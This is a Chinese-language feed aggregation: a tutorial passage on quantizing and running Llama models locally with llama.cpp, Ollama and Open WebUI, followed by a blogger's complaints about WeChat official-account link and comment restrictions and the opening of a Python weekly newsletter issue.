官方提供了很多种不同的编译方法,包括 makeCMakeZig 等,你可以根据你的喜好进行选择。另外,它还支持苹果的 Metal 框架、不同的消息传递接口 MPI 实现,比如 MPICHOpen MPI 以及大量的 BLAS 库,具体的编译选项可以 参考官方文档。我们这里直接使用 make 命令编译:

$ make

在 Mac 上编译无需额外参数,llama.cpp 已经对 Arm Neon 做了优化,会自动启动 BLAS,在 M 系列芯片上,还会自动使用 Metal 框架,显著提升 GPU 推理速度。

编译完成后会在当前目录生成一些可执行文件,比如:

  • main - 用于模型推理的主程序
  • quantize - 用于模型量化
  • server - 以服务器模式运行

不过此时我们还无法直接运行推理程序,llama.cpp 不支持 PyTorch 格式的模型文件,我们需要将其转换为 GGUF 格式,在之前的版本中叫做 GGML 格式,它是由 Georgi Gerganov 创建的一种独特的二进制格式,用来分发语言模型文件,GG 就是他名字的缩写,同时他也是 llama.cpp 的作者。

将模型转换成这种格式非常简单,在 llama.cpp 的源码里已经内置了 convert.py 脚本,直接执行该脚本即可:

$ pip3 install -r requirements.txt
$ python3 convert.py ../pyllama_data/7B

转换完成后,模型目录下会多一个 ggml-model-f16.gguf 文件:

$ ls -lh ../pyllama_data/7B 
total 52679296
-rw-r--r--@ 1 aneasystone  staff   100B Mar  5  2023 checklist.chk
-rw-r--r--@ 1 aneasystone  staff    13G Mar  5  2023 consolidated.00.pth
-rw-r--r--@ 1 aneasystone  staff    13G Mar 24 15:33 ggml-model-f16.gguf
-rw-r--r--@ 1 aneasystone  staff   101B Mar  5  2023 params.json

这个文件和之前的模型文件一样,还是很大,接着我们使用 quantize 程序对模型文件进行量化,量化的尺寸可以选择 8 Bit、4 Bit 或 2 Bit 等,不同的尺寸在效果和资源占用上存在差异。我们这里选择的是 Q4_K_M,这是一种既能保留大部分模型的性能又能节约内存的量化类型。运行命令如下:

$ ./quantize ../pyllama_data/7B/ggml-model-f16.gguf ../pyllama_data/7B/ggml-model-Q4_K_M.gguf Q4_K_M

除此之外,下面是该命令支持的所有量化类型:

Allowed quantization types:
   2  or  Q4_0    :  3.56G, +0.2166 ppl @ LLaMA-v1-7B
   3  or  Q4_1    :  3.90G, +0.1585 ppl @ LLaMA-v1-7B
   8  or  Q5_0    :  4.33G, +0.0683 ppl @ LLaMA-v1-7B
   9  or  Q5_1    :  4.70G, +0.0349 ppl @ LLaMA-v1-7B
  19  or  IQ2_XXS :  2.06 bpw quantization
  20  or  IQ2_XS  :  2.31 bpw quantization
  28  or  IQ2_S   :  2.5  bpw quantization
  29  or  IQ2_M   :  2.7  bpw quantization
  24  or  IQ1_S   :  1.56 bpw quantization
  10  or  Q2_K    :  2.63G, +0.6717 ppl @ LLaMA-v1-7B
  21  or  Q2_K_S  :  2.16G, +9.0634 ppl @ LLaMA-v1-7B
  23  or  IQ3_XXS :  3.06 bpw quantization
  26  or  IQ3_S   :  3.44 bpw quantization
  27  or  IQ3_M   :  3.66 bpw quantization mix
  12  or  Q3_K    : alias for Q3_K_M
  22  or  IQ3_XS  :  3.3 bpw quantization
  11  or  Q3_K_S  :  2.75G, +0.5551 ppl @ LLaMA-v1-7B
  12  or  Q3_K_M  :  3.07G, +0.2496 ppl @ LLaMA-v1-7B
  13  or  Q3_K_L  :  3.35G, +0.1764 ppl @ LLaMA-v1-7B
  25  or  IQ4_NL  :  4.50 bpw non-linear quantization
  30  or  IQ4_XS  :  4.25 bpw non-linear quantization
  15  or  Q4_K    : alias for Q4_K_M
  14  or  Q4_K_S  :  3.59G, +0.0992 ppl @ LLaMA-v1-7B
  15  or  Q4_K_M  :  3.80G, +0.0532 ppl @ LLaMA-v1-7B
  17  or  Q5_K    : alias for Q5_K_M
  16  or  Q5_K_S  :  4.33G, +0.0400 ppl @ LLaMA-v1-7B
  17  or  Q5_K_M  :  4.45G, +0.0122 ppl @ LLaMA-v1-7B
  18  or  Q6_K    :  5.15G, +0.0008 ppl @ LLaMA-v1-7B
   7  or  Q8_0    :  6.70G, +0.0004 ppl @ LLaMA-v1-7B
   1  or  F16     : 13.00G              @ 7B
   0  or  F32     : 26.00G              @ 7B
          COPY    : only copy tensors, no quantizing

这时,模型目录下应该会生成一个 ggml-model-Q4_K_M.gguf 文件:

$ ls -lh ../pyllama_data/7B 
total 60674720
-rw-r--r--@ 1 aneasystone  staff   100B Mar  5  2023 checklist.chk
-rw-r--r--@ 1 aneasystone  staff    13G Mar  5  2023 consolidated.00.pth
-rw-r--r--@ 1 aneasystone  staff   3.8G Mar 24 15:38 ggml-model-Q4_K_M.gguf
-rw-r--r--@ 1 aneasystone  staff    13G Mar 24 15:33 ggml-model-f16.gguf
-rw-r--r--@ 1 aneasystone  staff   101B Mar  5  2023 params.json

为了节约时间,我们也可以从 TheBloke 这里下载已经量化好的模型直接使用。

相比于原文件,这个模型文件减小了很多,只有 3.8G,接下来就可以使用 main 对其进行推理了:

$ ./main -m ../pyllama_data/7B/ggml-model-Q4_K_M.gguf -n 128 -p "I believe the meaning of life is"
Log start
main: build = 2518 (ddf65685)
main: built with Apple clang version 15.0.0 (clang-1500.0.40.1) for arm64-apple-darwin22.6.0
main: seed  = 1711266065
llama_model_loader: loaded meta data with 17 key-value pairs and 291 tensors from ../pyllama_data/7B/ggml-model-Q4_K_M.gguf (version GGUF V3 (latest))
llama_model_loader: Dumping metadata keys/values. Note: KV overrides do not apply in this output.
llama_model_loader: - kv   0:                       general.architecture str              = llama
llama_model_loader: - kv   1:                               general.name str              = pyllama_data
llama_model_loader: - kv   2:                           llama.vocab_size u32              = 32000
llama_model_loader: - kv   3:                       llama.context_length u32              = 2048
llama_model_loader: - kv   4:                     llama.embedding_length u32              = 4096
llama_model_loader: - kv   5:                          llama.block_count u32              = 32
llama_model_loader: - kv   6:                  llama.feed_forward_length u32              = 11008
llama_model_loader: - kv   7:                 llama.rope.dimension_count u32              = 128
llama_model_loader: - kv   8:                 llama.attention.head_count u32              = 32
llama_model_loader: - kv   9:              llama.attention.head_count_kv u32              = 32
llama_model_loader: - kv  10:     llama.attention.layer_norm_rms_epsilon f32              = 0.000001
llama_model_loader: - kv  11:                          general.file_type u32              = 15
llama_model_loader: - kv  12:                       tokenizer.ggml.model str              = llama
llama_model_loader: - kv  13:                      tokenizer.ggml.tokens arr[str,32000]   = ["<unk>", "<s>", "</s>", "<0x00>", "<...
llama_model_loader: - kv  14:                      tokenizer.ggml.scores arr[f32,32000]   = [0.000000, 0.000000, 0.000000, 0.0000...
llama_model_loader: - kv  15:                  tokenizer.ggml.token_type arr[i32,32000]   = [2, 3, 3, 6, 6, 6, 6, 6, 6, 6, 6, 6, ...
llama_model_loader: - kv  16:               general.quantization_version u32              = 2
llama_model_loader: - type  f32:   65 tensors
llama_model_loader: - type q4_K:  193 tensors
llama_model_loader: - type q6_K:   33 tensors
llm_load_vocab: special tokens definition check successful ( 259/32000 ).
llm_load_print_meta: format           = GGUF V3 (latest)
llm_load_print_meta: arch             = llama
llm_load_print_meta: vocab type       = SPM
llm_load_print_meta: n_vocab          = 32000
llm_load_print_meta: n_merges         = 0
llm_load_print_meta: n_ctx_train      = 2048
llm_load_print_meta: n_embd           = 4096
llm_load_print_meta: n_head           = 32
llm_load_print_meta: n_head_kv        = 32
llm_load_print_meta: n_layer          = 32
llm_load_print_meta: n_rot            = 128
llm_load_print_meta: n_embd_head_k    = 128
llm_load_print_meta: n_embd_head_v    = 128
llm_load_print_meta: n_gqa            = 1
llm_load_print_meta: n_embd_k_gqa     = 4096
llm_load_print_meta: n_embd_v_gqa     = 4096
llm_load_print_meta: f_norm_eps       = 0.0e+00
llm_load_print_meta: f_norm_rms_eps   = 1.0e-06
llm_load_print_meta: f_clamp_kqv      = 0.0e+00
llm_load_print_meta: f_max_alibi_bias = 0.0e+00
llm_load_print_meta: f_logit_scale    = 0.0e+00
llm_load_print_meta: n_ff             = 11008
llm_load_print_meta: n_expert         = 0
llm_load_print_meta: n_expert_used    = 0
llm_load_print_meta: causal attn      = 1
llm_load_print_meta: pooling type     = 0
llm_load_print_meta: rope type        = 0
llm_load_print_meta: rope scaling     = linear
llm_load_print_meta: freq_base_train  = 10000.0
llm_load_print_meta: freq_scale_train = 1
llm_load_print_meta: n_yarn_orig_ctx  = 2048
llm_load_print_meta: rope_finetuned   = unknown
llm_load_print_meta: ssm_d_conv       = 0
llm_load_print_meta: ssm_d_inner      = 0
llm_load_print_meta: ssm_d_state      = 0
llm_load_print_meta: ssm_dt_rank      = 0
llm_load_print_meta: model type       = 7B
llm_load_print_meta: model ftype      = Q4_K - Medium
llm_load_print_meta: model params     = 6.74 B
llm_load_print_meta: model size       = 3.80 GiB (4.84 BPW) 
llm_load_print_meta: general.name     = pyllama_data
llm_load_print_meta: BOS token        = 1 '<s>'
llm_load_print_meta: EOS token        = 2 '</s>'
llm_load_print_meta: UNK token        = 0 '<unk>'
llm_load_print_meta: LF token         = 13 '<0x0A>'
llm_load_tensors: ggml ctx size =    0.22 MiB
ggml_backend_metal_buffer_from_ptr: allocated buffer, size =  3820.94 MiB, ( 3821.00 / 10922.67)
llm_load_tensors: offloading 32 repeating layers to GPU
llm_load_tensors: offloading non-repeating layers to GPU
llm_load_tensors: offloaded 33/33 layers to GPU
llm_load_tensors:      Metal buffer size =  3820.93 MiB
llm_load_tensors:        CPU buffer size =    70.31 MiB
..................................................................................................
llama_new_context_with_model: n_ctx      = 512
llama_new_context_with_model: n_batch    = 512
llama_new_context_with_model: n_ubatch   = 512
llama_new_context_with_model: freq_base  = 10000.0
llama_new_context_with_model: freq_scale = 1
ggml_metal_init: allocating
ggml_metal_init: found device: Apple M2
ggml_metal_init: picking default device: Apple M2
ggml_metal_init: default.metallib not found, loading from source
ggml_metal_init: GGML_METAL_PATH_RESOURCES = nil
ggml_metal_init: loading '/Users/zhangchangzhi/Codes/github/llama.cpp/ggml-metal.metal'
ggml_metal_init: GPU name:   Apple M2
ggml_metal_init: GPU family: MTLGPUFamilyApple8  (1008)
ggml_metal_init: GPU family: MTLGPUFamilyCommon3 (3003)
ggml_metal_init: GPU family: MTLGPUFamilyMetal3  (5001)
ggml_metal_init: simdgroup reduction support   = true
ggml_metal_init: simdgroup matrix mul. support = true
ggml_metal_init: hasUnifiedMemory              = true
ggml_metal_init: recommendedMaxWorkingSetSize  = 11453.25 MB
ggml_backend_metal_buffer_type_alloc_buffer: allocated buffer, size =   256.00 MiB, ( 4078.00 / 10922.67)
llama_kv_cache_init:      Metal KV buffer size =   256.00 MiB
llama_new_context_with_model: KV self size  =  256.00 MiB, K (f16):  128.00 MiB, V (f16):  128.00 MiB
llama_new_context_with_model:        CPU  output buffer size =    62.50 MiB
ggml_backend_metal_buffer_type_alloc_buffer: allocated buffer, size =    70.50 MiB, ( 4148.50 / 10922.67)
llama_new_context_with_model:      Metal compute buffer size =    70.50 MiB
llama_new_context_with_model:        CPU compute buffer size =     9.00 MiB
llama_new_context_with_model: graph nodes  = 1060
llama_new_context_with_model: graph splits = 2

system_info: n_threads = 4 / 8 | AVX = 0 | AVX_VNNI = 0 | AVX2 = 0 | AVX512 = 0 | AVX512_VBMI = 0 | AVX512_VNNI = 0 | FMA = 0 | 
NEON = 1 | ARM_FMA = 1 | F16C = 0 | FP16_VA = 1 | WASM_SIMD = 0 | BLAS = 1 | SSE3 = 0 | SSSE3 = 0 | VSX = 0 | MATMUL_INT8 = 0 | 
sampling: 
        repeat_last_n = 64, repeat_penalty = 1.000, frequency_penalty = 0.000, presence_penalty = 0.000
        top_k = 40, tfs_z = 1.000, top_p = 0.950, min_p = 0.050, typical_p = 1.000, temp = 0.800
        mirostat = 0, mirostat_lr = 0.100, mirostat_ent = 5.000
sampling order: 
CFG -> Penalties -> top_k -> tfs_z -> typical_p -> top_p -> min_p -> temperature 
generate: n_ctx = 512, n_batch = 2048, n_predict = 128, n_keep = 1


I believe the meaning of life is to serve others. As a doctor, I want to help those in need and make a difference in their lives. 
I am honored to be able to do just that in my community.
I love meeting new people and developing relationships with them. My goal is to provide high-quality care in a relaxed and comfortable environment. 
I take the time to listen to each patient and get to know them on a personal level.
I believe that a healthy life starts with prevent
llama_print_timings:        load time =    1040.38 ms
llama_print_timings:      sample time =       2.49 ms /   128 runs   (    0.02 ms per token, 51384.99 tokens per second)
llama_print_timings: prompt eval time =     231.36 ms /     8 tokens (   28.92 ms per token,    34.58 tokens per second)
llama_print_timings:        eval time =    6948.32 ms /   127 runs   (   54.71 ms per token,    18.28 tokens per second)
llama_print_timings:       total time =    7196.03 ms /   135 tokens
ggml_metal_free: deallocating
Log end

和之前比起来,推理速度有了质的提升,而且生成效果也还可以。我们也可以使用 -i 选项,以交互形式和大模型对话:

$ ./main -m ../pyllama_data/7B/ggml-model-Q4_K_M.gguf -n 128 --repeat_penalty 1.0 --color -i -r "User:" -f prompts/chat-with-bob.txt
...
== Running in interactive mode. ==
 - Press Ctrl+C to interject at any time.
 - Press Return to return control to LLaMa.
 - To return control without starting a new line, end your input with '/'.
 - If you want to submit another line, end your input with '\'.

 Transcript of a dialog, where the User interacts with an Assistant named Bob. 
 Bob is helpful, kind, honest, good at writing, and never fails to answer the User's requests immediately and with precision.

User: Hello, Bob.
Bob: Hello. How may I help you today?
User: Please tell me the largest city in Europe.
Bob: Sure. The largest city in Europe is Moscow, the capital of Russia.
User: What;s your name?
Bob: My name is Bob.
User: What can you do?
Bob: I am very good at writing.
User: Tell me a joke
Bob: Knock knock. Who's there?

其中 -n 表示限定生成的 token 数量;--repeat_penalty 有助于防止模型生成重复或单调的文本,较高的值会更严厉地惩罚重复,而较低的值则更宽容;--color 表示使用彩色输出区分提示词、用户输入和生成的文本;-r 表示 Reverse Prompts,用于暂停文本生成并切换到交互模式,这里的 -r "User:" 表示轮到用户发言时停止,这有助于创建更具互动性和对话性的体验;-f-p 一样,用于指定提示词,只不过提示词位于文件中;关于 main 程序的其他可用参数可以参考 这篇文档

除了以命令行形式运行大模型,llama.cpp 也提供了服务器模式运行模型,我们运行 server 程序:

$ ./server -m ../pyllama_data/7B/ggml-model-Q4_K_M.gguf -c 1024
...
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"init","line":702,"msg":"initializing slots","n_slots":1}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"init","line":714,"msg":"new slot","id_slot":0,"n_ctx_slot":1024}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"main","line":2881,"msg":"model loaded"}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"main","line":2906,"msg":"chat template","chat_example":"<|im_start|>system\nYou are a helpful assistant<|im_end|>\n<|im_start|>user\nHello<|im_end|>\n<|im_start|>assistant\nHi there<|im_end|>\n<|im_start|>user\nHow are you?<|im_end|>\n<|im_start|>assistant\n","built_in":true}
{"tid":"0x1fd44a080","timestamp":1711270965,"level":"INFO","function":"main","line":3524,"msg":"HTTP server listening","port":"8080","n_threads_http":"7","hostname":"127.0.0.1"}

服务启动成功后,我们就能通过 http://localhost:8080 来访问它,下面是使用 curl 调用该接口的例子:

$ curl --request POST \
    --url http://localhost:8080/completion \
    --header "Content-Type: application/json" \
    --data '{"prompt": "Building a website can be done in 10 simple steps:","n_predict": 128}'

这篇文档 对服务器模式的其他接口和参数做了详细说明。

使用 Ollama 运行 Llama 模型

上一节我们学习了如何使用 llama.cpp 量化和运行 Llama 大模型,整个过程虽然不复杂,但是对于普通用户来说,无论是获取模型文件,还是编译和构建源码,抑或是以命令行形式运行推理程序,还是有一定门槛的。所以,很长一段时间里,在本地运行大模型都只局限于少数的极客和研究人员,直到 Ollama 项目的问世,才真正将大模型带入千万用户的个人电脑,让更多的普通小白也可以方便地在自己电脑上玩转大模型了。

Ollama 基于 llama.cpp 实现,它的安装非常简单,直接进入 官方下载页面,找到适合自己系统的版本下载运行即可,支持 Mac OS、Linux 和 Windows 系统。

打开终端,输入 ollama --version 命令,如果能成功查询到版本号,表示 Ollama 已经安装好了:

$ ollama --version
ollama version is 0.1.29

接下来,我们就可以用 ollama pull 命令来下载模型文件:

$ ollama pull llama2

熟悉 Docker 的同学应该对这个命令感到很亲切,Ollama 参考了 Docker 的设计理念,类似于 docker pull 可以从镜像仓库下载镜像,ollama pull 可以从 模型仓库 下载模型。在不指定 tag 的情况下,我们下载的是 llama2:latest 模型,从 模型详情页 可以看出这是 Llama 2 7B 模型的 4 Bit 量化版本(实际上是 Llama 2-Chat 模型,Llama 2 模型对应的 tag 是 llama2:text):

llama2-latest.png

接下来使用 ollama run 命令运行大模型:

$ ollama run llama2
>>> 

这样就可以和大模型进行对话了:

>>> Hello
Hello! It's nice to meet you. Is there something I can help you with or would you like to chat?

>>> Who are you?
Hello! I am LLaMA, an AI assistant developed by Meta AI that can understand and respond to human input 
in a conversational manner. I'm here to help you with any questions 
or topics you'd like to discuss. Is there something specific you'd like to talk about?

>>> 用中文回答
你好!我是LLaMA,一个由Meta AI开发的人工智能助手。我可以理解和回应人类输入的语言,让您与我互动。您有什么问题或话题想聊?

>>> /bye

此外,Ollama 也支持以服务器模式启动:

$ ollama serve

这样我们就可以通过接口形式来调用:

$ curl -X POST http://localhost:11434/api/generate -d '{
  "model": "llama2",
  "prompt":"Why is the sky blue?"
 }'

更多关于 Ollama 的接口细节,可以参考官方的 API 文档

除了 ollama pullollama run,Ollama 还支持一些其他的命令选项,比如:

  • ollama list - 显示所有本地已安装的模型
  • ollama rm - 删除已安装的模型
  • ollama show - 显示模型的详细信息
  • ollama create - 通过 Modelfile 创建模型文件
  • ollama push - 将创建的模型文件推送到远程仓库

因为 Ollama 是基于 llama.cpp 实现的,所以它也支持大量的开源大模型,比如 Gemma、Mistral、Qwen、Yi 这些基础大模型,还有 Code Llama、DeepSeek Coder、StarCoder 这些代码大模型,还有 LLaVA 和 BakLLaVA 这些多模态大模型,等等,可以在 模型仓库 页面找到所有 Ollama 支持的模型。

不仅如此,Ollama 还支持用户自己创建模型,正如在 Docker 中我们可以使用 Dockerfile 来构建自己的镜像,在 Ollama 中我们也可以使用 Modelfile 来构建自己的模型。细心的同学可能已经注意到,Ollama 的模型仓库里只有 Llama 2 的模型,并没有 Llama 模型,我们不妨自己来创建一个。

Ollama 支持根据 GGUF 文件创建模型,首先我们新建一个 Modelfile 文件,在第一行使用 FROM 语句导入我们上面生成好的量化版模型文件:

FROM ../pyllama_data/7B/ggml-model-Q4_K_M.gguf

如果要导入其他类型的模型文件,比如 PyTorch 或 Safetensors 等,请参考文档 Import a model

然后使用 ollama create 命令创建模型:

$ ollama create llama -f Modelfile 
transferring model data 
creating model layer 
using already created layer sha256:3672cbbdd94aaf2ec25e242afbba8691c44dacd1d627c478ad83c2248c80040c 
writing layer sha256:5bbed095407083c16b0f36844732fd4b5aed0932420eb389f132b6e494376c32 
writing manifest 
success

很简单,是不是?这样我们就可以使用 Ollama 运行 Llama 模型了:

$ ollama run llama
>>> The meaning of life is
 to find your gift. The purpose of life is to give it away. ~Pablo Picasso

不过 Llama 模型是基础模型,不具有对话能力,我们可以使用提示词和停止词来模拟出对话效果(参考 llama.cpp 的交互模式):

FROM ../pyllama_data/7B/ggml-model-Q4_K_M.gguf

TEMPLATE """Transcript of a dialog, where the User interacts with an Assistant named Bob. 
Bob is helpful, kind, honest, good at writing, and never fails to answer the User's requests immediately and with precision.

User: Hello, Bob.
Bob: Hello. How may I help you today?
User: Please tell me the largest city in Europe.
Bob: Sure. The largest city in Europe is Moscow, the capital of Russia.
User: {{ .Prompt }}
"""

PARAMETER temperature 1
PARAMETER num_ctx 4096
PARAMETER num_predict 128
PARAMETER repeat_penalty 1.0
PARAMETER stop User:
PARAMETER stop Transcript of a dialog

其中 TEMPLATE 关键字用于指定提示词,PARAMETER 关键字用于配置参数,这些参数和 llama.cpp 的参数非常类似,可以参考 Ollama Model File,其中 PARAMETER stop 用于设置停止词,这是模拟对话性体验的关键。

然后重新创建模型并运行:

$ ollama create llama -f Modelfile 
$ ollama run llama

这次我们就可以和它进行对话了:

>>> Hello
Bob: Hello

>>> What's your name?
Bob: My name is Bob, and I am an artificial intelligent robot.

>>> Tell me a joke.
Bob: A: Knock knock.
B: Who’s there?
A: Tom.
B: Tom who?
A: I don’t know.

>>> /bye

实现类似 ChatGPT 的聊天应用

至此,我们已经可以熟练地在本地部署和运行 Llama 模型了,为了让我们和语言模型之间的交互更加友好,我们还可以借助一些开源项目打造一款类似 ChatGPT 的聊天应用。无论是 llama.cpp 还是 Ollama,周边生态都非常丰富,社区开源了大量的网页、桌面、终端等交互界面以及诸多的插件和拓展,参考 Ollama 的 Community Integrations

下面列举一些比较有名的 Web UI:

接下来我们就基于 Open WebUI 来实现一个本地聊天应用。Open WebUI 是一个可扩展、功能丰富且用户友好的自托管 WebUI,旨在完全离线运行。它的原名叫 Ollama WebUI,原本只是对 Ollama 的,后来在社区的推动下,发展成了一款通用的聊天应用 WebUI,支持各种 LLM 运行器,包括 Ollama 以及与 OpenAI 兼容的接口。

Open WebUI 具备大量的功能特性,包括:

  • 直观的界面:接近 ChatGPT 的界面,提供用户友好的体验;
  • 响应式的设计:同时兼容桌面和移动端设备;
  • 快速的响应:让用户享受快速且响应迅速的性能;
  • 轻松的安装:支持使用 Docker 或 Kubernetes 进行安装;
  • 代码语法高亮:增强代码的可读性;
  • 全面支持 Markdown 和 LaTeX:实现更丰富的交互,提升用户的体验;
  • 本地 RAG 集成:支持在聊天中对文档进行问答;
  • 网页浏览功能:支持在聊天中对网页进行问答;
  • 预设的提示词:聊天时输入 / 命令即可立即访问预设的提示词;
  • RLHF 注释:通过给消息点赞或点踩,为 RLHF 创建数据集,便于使用您的消息来训练或微调模型;
  • 对话标记:轻松分类和定位特定的聊天,以便快速参考和高效数据收集;
  • 模型管理:支持在页面上下载或删除模型;支持导入 GGUF 文件,轻松创建 Ollama 模型或 Modelfile 文件;
  • 多模型切换:支持多个模型之间的切换;
  • 多模型对话:同时与多个模型进行交流,通过比较获得最佳回应;
  • 多模态:支持多模态大模型,可以在聊天中使用图片;
  • 聊天记录:轻松访问和管理对话历史,支持导入和导出聊天数据;
  • 语音输入支持:通过语音互动与模型进行交流,享受直接与模型对话的便利;
  • 图像生成集成:无缝地使用 AUTOMATIC1111 API 和 DALL-E 集成图像生成功能,为聊天体验增添动态视觉内容;
  • OpenAI API 集成:轻松地将与 Ollama 模型兼容的 OpenAI API 集成到对话中;
  • 国际化(i18n):支持多种不同的语言;

运行如下的 Docker 命令即可安装 Open WebUI:

$ docker run -d -p 3000:8080 \
    --add-host=host.docker.internal:host-gateway \
    -v open-webui:/app/backend/data \
    --name open-webui \
    --restart always \
    ghcr.io/open-webui/open-webui:main

安装成功后,浏览器访问 http://localhost:3000/ 即可,首次访问需要注册一个账号:

open-webui-login.png

注册账号并登录后,就可以看到我们熟悉的聊天界面了:

open-webui.png

总结

随着开源大模型技术的不断发展,以及个人电脑硬件水平的不断提高,大模型对于普通人的门槛也越来越低。在本地设备运行大模型至少有两方面的好处:

  • 无需担心数据隐私:您的数据不会发送给第三方,并且不受商业服务条款的约束;
  • 推理成本显著降低:几乎没有推理费用,这对于令牌密集型应用程序非常重要(例如:长时间运行的模拟程序,对长文本进行摘要等);

PrivateGPTllama.cppGPT4Allllamafile 这些项目的流行也凸显出这种需求的旺盛。

这篇笔记对开源大模型 Llama 进行了全面的学习,从基础模型的下载,到模型的量化运行,以及部署可视化的 Web 应用,都做了详细的说明。尽管如此,受篇幅限制,还有很多大模型相关技术没有提到,特别是模型的微调和训练,争取在后面的笔记中继续学习之。

参考

更多

大模型部署

大模型量化

大模型微调

Meta 最初发布的 Llama 模型并没有进行指令微调,于是斯坦福马上公布了 Alpaca 模型,该模型是由 Llama 7B 利用 52k 的指令微调出来的。

扫描二维码,在手机上阅读!

by aneasystone at April 07, 2024 08:49 AM

pythoncat

聊聊公众号最让我不爽的两个痛点

微信公众号最让我不爽的地方有两个,而且有很多人虽然也不爽,却不知道原因。
本文想聊聊公众号的两个痛点,因为我经常收到私信问这两个问题,本文算是一次集中的回复吧。
第一个不爽的点是公众号会屏蔽外链,导致无法正常跳转文字链接。
这是什么意思呢?其实就是说在公众号文章里,你添加的文字超链接只能放微信平台内的链接,无法插入其它平台(比如个人博客、技术网站、其它社交媒体等等)的链接。
由于时不时有读者问询,我前不久就把“公众号只能放内链”的事在朋友圈发了,竟然有很多人评论说根本不知道这回事!顿时感觉有个无形的信息茧房把我笼罩住了……
在每周发布《Python潮流周刊》时,这个平台级限制迫使我要将所有外链处理为脚注。
虽然有工具可以一键转换,操作上毫不费力,但是,每期周刊都有 40 个左右的外链,这一方面会导致文章末尾的“参考资料”部分非常冗长,另一方面是读者从正文的序号找内容链接也非常之不便。
你或许想问:为什么不隐去链接脚注呢?这当然不好,因为周刊很重要的意图就是给出资讯来源,让读者能从信息的源头去阅读。
你或许想问:为何不在“阅读原文”放其它平台的链接呢?没错,我就是这么做的,但是有多少人会去点击那藏在犄角旮旯里的“阅读原文”呢?
最近,我在周刊开头位置加了博客版链接,如果你复制链接到浏览器访问,当然会获得无障碍的阅读体验,可是我怀疑这么做的人应该也不多吧?
有人给我提议:可以在每则分享素材的下方放上链接啊!没错,这方法当然可行,友刊《HelloGithub》月刊就是这么干的。
但是,我感觉这么操作并不适合放在我的周刊。一方面它是屈服于封闭型平台而作的折中方案,但周刊是以个人博客/Newsletter/Github等开放型平台为主要阵地的,我不想为此编辑出一个特供版本;另一方面是在正文里混杂链接会导致内容非常冗长,更不要提我经常在一则分享里添加多个链接和附注,我难以想象将链接分离在其下方会是怎样的车祸现场。
还有好心人提议:有 xxx 小程序可以支持插入文字链接。没错,在写公众号的五年里,我至少见到过 3 个这类小程序了,但是,且不要提用它们操作时的麻烦,就说它们可能乱入的广告就不可接受,最最让人顾虑的还有一点,就是这类小程序到底能存活多久呢?
因此,这个痛点目前无法很好消解。如果你也烦它,请访问我的个人博客阅读。
接着聊聊第二个让人不爽的点吧:2018 年 3 月后开通的公众号不支持留言功能。
这个点应该有更多的人是毫不知情的吧?但事实就是这样。而 Python猫 遗憾是在 2018 年 9 月注册的,只是相差了半年而已。
没有留言功能,就缺了极其重要的读者互动方式。有时候想搞搞“留言赠书”来送福利,做不到。有时候想为正文补充一段注释,也做不到。
你或许想问:为什么会有这样的情况?抱歉,我同样很费解,同样不知道缘由。
公众号里可以添加“快捷私信”,也就是你在文章最最底部看到的“发消息”。但是,这里发送的只是普通私信,只有号主能看到和回复,不能像留言功能那样可以精选、可以多轮对话、可以公开给所有读者。
你或许想说:有 xxx 小程序可以支持留言功能。没错,我也见到过几个,但是我也不会考虑,理由跟前文一样。
你或许想说:可以去做公众号迁移啊,很多新的公众号都是这样获得留言功能的。
确实可以,我知道这么做的号就有不少。但是,我有几点考虑:一是我完全不想去注册公司(包括找人代办),二是会导致现账号的数据丢失,三是我就想坚持等到平台正常开放留言功能。
大概从半年前开始,我已经看到好几个号主分享说他们的号支持留言了,包括隔壁的“古明地觉的编程教室”。
公众号似乎在悄悄的开放留言功能!但是,它到底会给哪些号开通,会开通多少呢?
这我属实是丈二和尚摸不着头脑了:明明有的号开通得比 Python猫 晚,但它们却有了留言;明明有的号只是一个人的多个小号,但它们却有了留言;明明有的号已经很久不更新了,却也有了留言……
我也许要晚人一步了,也可能是晚两步、三步吧,唉。
也许等真的支持留言了,我会很尴尬地收不到任何留言,就像经常性放了赞赏却没有收获一样,但是,也正像时不时能收到一则赞赏和鼓励性的悄悄话一样,谁说就没有读者会来留下一些积极的鼓舞人心的话呢?
我期待这一天能早点到来!

April 07, 2024 12:00 AM

April 06, 2024

pythoncat

Python 潮流周刊#45:越来越多的 AI 自动开发框架

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。
特别提醒: 本期周刊赠书 5 本《Python语言及其应用(第2版)》,详情见文末。

🐱品牌合作

本周刊由公众号“Python猫”出品,这是一个以 Python 技术科普和分享为主的科技自媒体,全网订阅读者数 50000+,品牌合作请私信联系。

🦄文章&教程

微软总部发布的研究论文,介绍了 AutoDev 框架,它使 AI 代理能够自主地编写代码、测试、构建和操作 Git 等,使用 Docker 确保开发环境的安全,并可通过配置来限制 AI 代理的权限和操作。在 HumanEval 数据集上取得了 91.5% 的代码生成准确率和 87.8% 的测试生成准确率。
FastAPI 越来越流行,但是作者还坚持用 Django,文章简短介绍了 10 个原因。
ASGI 是异步服务器网关接口规范,允许异步服务器与 Web 应用框架进行通信。文章介绍了几种流行的 ASGI 服务器(Daphne、Uvicorn、Hypercorn 及 Granian),比较了它们的性能和特性,同时给出了如何选择合适的 ASGI 服务器的建议。
JSON 有两个主要的标准定义(Ecma-404 和 RFC-8259),然而现实的各种编程语言和 JSON 库在处理数字的精度和范围时,却存在诸多差异。文章对此作了一些对比和总结。
Python 的列表支持乘法操作,如[[]]*4 ,将得到[[],[],[],[]] ,但是,这个例子中复制出的 4 个列表只是对同一个对象的引用。文章深入解析 CPython 源码,介绍了列表对象的结构及其内部对象存储机制、星号运算符的实现原理、CPython 具体如何执行列表的乘法操作。
Celery 是 Python 中常用的分布式任务队列库,这个系列文章已更新 9 篇,深入介绍它的基础架构、Worker 启动、重要组件、生命周期、定时任务等等内容。
作者介绍了自己最新在用的技术栈:用mise 作 Python 版本和虚拟环境管理、poetryuv 作依赖管理、 ruff 作格式化和 linting,以及 pydantic 作运行时检查。
本周意义重大的一则消息:Cloudflare 支持用 Python 编写 Workers!此举将扩展 Cloudflare 平台的功能,将推动无服务器计算及在浏览器中运行 Python 代码。该功能目前为公测阶段,期待后续的发展。
文章提出两个基本问题:AI 代码生成工具对编程入门的新手有什么影响?新手如何在入门编程时使用 AI 代码生成工具?文章介绍了两篇论文的研究结果。
